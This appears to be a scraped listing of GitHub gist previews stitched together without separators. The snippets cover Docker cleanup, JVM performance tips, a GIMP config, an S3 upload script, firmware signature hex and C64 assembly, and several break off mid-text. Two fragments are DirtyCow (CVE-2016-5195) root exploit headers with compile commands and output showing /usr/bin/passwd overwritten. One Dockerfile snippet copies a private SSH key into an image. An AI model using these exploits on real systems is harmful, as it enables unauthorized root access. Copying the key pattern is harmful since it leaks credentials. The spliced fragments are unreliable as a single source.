Cesar Miquel cesarmiquel

Docker - How to cleanup (unused) resources

Once in a while, you may need to cleanup resources (containers, volumes, images, networks) ...

delete volumes

// see: https://github.com/chadoe/docker-cleanup-volumes

$ docker volume rm $(docker volume ls -qf dangling=true)

$ docker volume ls -qf dangling=true | xargs -r docker volume rm

Quick Tips for Fast Code on the JVM

I was talking to a coworker recently about general techniques that almost always form the core of any effort to write very fast, down-to-the-metal hot path code on the JVM, and they pointed out that there really isn't a particularly good place to go for this information. It occurred to me that, really, I had more or less picked up all of it by word of mouth and experience, and there just aren't any good reference sources on the topic. So… here's my word of mouth.

This is by no means a comprehensive gist. It's also important to understand that the techniques that I outline in here are not 100% absolute either. Performance on the JVM is an incredibly complicated subject, and while there are rules that almost always hold true, the "almost" remains very salient. Also, for many or even most applications, there will be other techniques that I'm not mentioning which will have a greater impact. JMH, Java Flight Recorder, and a good profiler are your very best friend! Mea

	; This file installs layout preferences from Photoshop 6 in GIMP 2.8.
	;
	; Rename it to 'sessionrc' and place it into your personal GIMP directory:
	; ~/.gimp-2.8 folder (Linux)
	;
	;

	(session-info "toplevel"
	(factory-entry "gimp-empty-image-window")
	(position 195 356)

	# You don't need Fog in Ruby or some other library to upload to S3 -- shell works perfectly fine
	# This is how I upload my new Sol Trader builds (http://soltrader.net)
	# Based on a modified script from here: http://tmont.com/blargh/2014/1/uploading-to-s3-in-bash

	S3KEY="my aws key"
	S3SECRET="my aws secret" # pass these in

	function putS3
	{
	path=$1

	# Add these lines to your dockerfile, before `npm install`

	# Copy the bitbucket private key to your docker image
	COPY ./bitbucket_ssh_key /opt/my-app

	# Copy the ssh script to your docker image
	COPY ./ssh-bitbucket.sh /opt/my-app

	# Tell git to use your `ssh-bitbucket.sh` script
	ENV GIT_SSH="/opt/map-project-tile-server/ssh-bitbucket.sh"

	/*
	* (un)comment correct payload first (x86 or x64)!
	*
	* $ gcc cowroot.c -o cowroot -pthread
	* $ ./cowroot
	* DirtyCow root privilege escalation
	* Backing up /usr/bin/passwd.. to /tmp/bak
	* Size of binary: 57048
	* Racing, this may take a while..
	* /usr/bin/passwd overwritten

	/*
	* A PTRACE_POKEDATA variant of CVE-2016-5195
	* should work on RHEL 5 & 6
	*
	* (un)comment correct payload (x86 or x64)!
	* $ gcc -pthread c0w.c -o c0w
	* $ ./c0w
	* DirtyCow root privilege escalation
	* Backing up /usr/bin/passwd.. to /tmp/bak
	* mmap fa65a000

	; Variable Width Font Library
	;
	; by Andrew G. Crowell (@eggboycolor)
	;
	; --
	;
	; Copyright (c) 2016 Andrew G. Crowell
	;
	; Permission is hereby granted, free of charge, to any person obtaining a copy of
	; this software and associated documentation files (the "Software"), to deal in

	Retail NAND FIRM:

	Perfect Signature:
	B6724531C448657A2A2EE306457E350A10D544B42859B0E5B0BED27534CCCC2A4D47EDEA60A7DD99939950A6357B1E35DFC7FAC773B7E12E7C1481234AF141B31CF08E9F62293AA6BAAE246C15095F8B78402A684D852C680549FA5B3F14D9E838A2FB9C09A15ABB40DCA25E40A3DDC1F58E79CEC901974363A946E99B4346E8A372B6CD55A707E1EAB9BEC0200B5BA0B661236A8708D704517F43C6C38EE9560111E1405E5E8ED356C49C4FF6823D1219AFAEEB3DF3C36B62BBA88FC15BA8648F9333FD9FC092B8146C3D908F73155D48BE89D72612E18E4AA8EB9B7FD2A5F7328C4ECBFB0083833CBD5C983A25CEB8B941CC68EB017CE87F5D793ACA09ACF7

	Exponentiated Message:
	0002B31331C710412333A587890F9CF0B6A86E71C8A78F96B76082903B3E54EA9AB935978BBF2493BB829E9A5A6060B0C7811881176BCF9FE8B1C5C5E0A95327DB8B52EC178A884AD9CF28DB8BBF2922C05FD034AC81BD231AEB0CBEF6F7DE6F3A30812B9F9A83BF33251891BFA18FA38A64C6FF5F77DBE11C3780C23EA9F6D00F9C01D6FC8A878591D36C4F64ACA6B8D11BBEB21476103C6E86FF2196D465BA4DB78F81F1D3BCCA186BDDD56739A12DD36122F3F5B3DD518DDAC4FA29395EA4CD9DFD80AF8A399990F4FDD3CD6B07EC2122437CCFC3B62B1D1493A7DBB442003

	; A Mind is Born by Linus Akesson
	; https://linusakesson.net/scene/a-mind-is-born/index.php
	; transcribed to 64tass and further commented by J.B. Langston

	; important locations after program is copied to zero page

	vmptr = $cb ; video matrix
	clock = $13 ; global clock lsb - indicates position within bar
	clock_msb = $20 ; global clock msb - indicates bar of song
	script = $21 ; poke table